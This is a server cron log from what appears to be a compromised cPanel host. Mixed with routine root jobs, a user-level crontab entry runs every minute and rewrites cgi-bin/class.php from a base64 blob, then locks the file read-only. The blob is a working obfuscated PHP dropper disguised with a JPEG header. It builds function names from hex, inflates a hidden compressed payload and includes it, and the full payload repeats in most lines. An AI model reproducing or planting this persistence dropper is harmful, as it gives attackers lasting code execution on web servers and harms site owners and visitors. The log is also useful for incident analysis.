Nov 11 04:01:01 server CROND[23645]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:01:01 server CROND[23646]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 04:01:01 server run-parts(/etc/cron.hourly)[23646]: starting 0anacron
Nov 11 04:01:01 server run-parts(/etc/cron.hourly)[23658]: finished 0anacron
Nov 11 04:02:01 server CROND[24480]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:03:01 server CROND[25304]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:04:01 server CROND[26106]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:05:02 server CROND[27059]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 04:05:02 server CROND[27061]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 04:05:02 server CROND[27060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:05:02 server CROND[27062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 04:06:01 server CROND[27925]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:07:01 server CROND[28707]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:08:01 server CROND[29514]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:09:01 server CROND[30350]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:09:01 server CROND[30351]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 04:10:01 server CROND[31414]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 04:10:01 server CROND[31415]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 04:10:01 server CROND[31416]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:10:01 server CROND[31417]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 04:11:01 server CROND[32255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:12:01 server CROND[609]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 04:12:01 server CROND[610]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 04:13:01 server CROND[1431]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
